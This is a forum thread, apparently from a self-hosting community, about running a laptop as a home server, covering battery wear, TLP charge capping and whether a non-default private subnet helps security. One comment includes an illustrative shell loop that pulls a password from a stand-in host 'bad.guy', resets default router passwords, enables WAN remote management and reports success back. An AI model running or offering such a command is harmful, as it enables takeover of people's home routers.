A huge upshot to using a laptop is you have a built-in UPS and KVM.
it only works as a UPS if you periodically discharge the battery. My first “server” was a compaq laptop, I had used it for years and then reprovisioned it to Ubuntu Server, after 2 or 3 years of 24/7 if you unplugged it at all it just instant died because keeping it 100% charged all the time killed the battery.
Naively I assumed that anything in the last decade or so with a battery already has some sort of battery management system that regulates this stuff to help prolong battery lifespan, but maybe I’m wrong.
Yea, which is a fair expectation, but it’s not a safe assumption. Verify it does before prolonged use. Make sure its well ventilated(heat is killer to batteries as well), and that some form of BMS is present on the system, and that it’s enabled because some have the system but have it disabled by default.
one should cap the battery at 70% or smth if keeping it connected 24/7
I’m not sure that all laptops support capping, and I’m not sure if Panasonic ToughBook supports the drivers necessary to cap. I guess you could deploy TLP and check
sudo tlp-stat -b
You don’t need to blur the private address. No one here is on your private network.
If it isn’t 192.168.1.0/24 then you should blur it. Mine is completely random and I keep it to myself.
Why?
Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they’re pretty simple scripts that just try to hit default ports on default IPs.
That’s not how networking works
If someone is on the inside of your network you have much bigger issues. Having a random subnet won’t do anything as they can just look at the arp/ndp tables.
That’s what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…
newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")" for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \ curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \ curl -q "https://bad.guy/success?addr=%24%7Ba%7D" done…completely pointless. If it’s a someone inside your network, you need more.
Yeah I don’t really understand your argument
No worries. It is technically another layer in the “swiss cheese” model, but it certainly is more holes than cheese. I think it falls into the “can’t hurt, might help” category.
Acronyms, initialisms, abbreviations, contractions, and other phrases which expand to something larger, that I’ve seen in this thread:
Fewer Letters More Letters ARP Address Resolution Protocol, translates IPs to MAC addresses CF CloudFlare IP Internet Protocol PSU Power Supply Unit SSD Solid State Drive mass storage
5 acronyms in this thread; the most compressed thread commented on today has 7 acronyms.
[Thread #222 for this comm, first seen 8th Apr 2026, 19:10] [FAQ] [Full list] [Contact] [Source code]





